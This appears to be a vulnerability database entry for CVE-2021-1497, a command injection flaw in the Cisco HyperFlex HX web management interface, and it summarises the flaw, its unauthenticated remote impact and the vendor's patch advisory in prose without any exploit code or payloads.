CVE-2021-1497

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 06/05 Upd 21/10

Overview

This vulnerability is a command injection flaw rooted in improper input validation within the web-based management interface of Cisco HyperFlex HX Data Platform. The affected component fails to sanitize user-supplied data in authentication-related POST requests, allowing malicious input to be executed as system commands. The flaw resides specifically in the handling of parameters submitted to authentication endpoints, enabling injection of arbitrary commands at the operating system level.

Vulnerability Description

Multiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. For more information about these vulnerabilities, see the Details section of this advisory.

Impact

An attacker can execute arbitrary system-level commands on the affected device without any authentication or user interaction. This grants full control over the system, enabling data exfiltration, configuration manipulation, or persistent compromise. The vulnerability allows complete takeover of the HyperFlex HX Data Platform, potentially disrupting services and exposing sensitive operational data to unauthorized parties.

Solution

Cisco has released patches addressing these command injection vulnerabilities in the HyperFlex HX Data Platform. Administrators should apply updates as detailed in Cisco Security Advisory cisco-sa-hyperflex-rce-TjjNrkpR. The advisory provides specific version upgrades and mitigation steps. Users are advised to follow the vendor’s instructions precisely to remediate the issue and prevent exploitation.
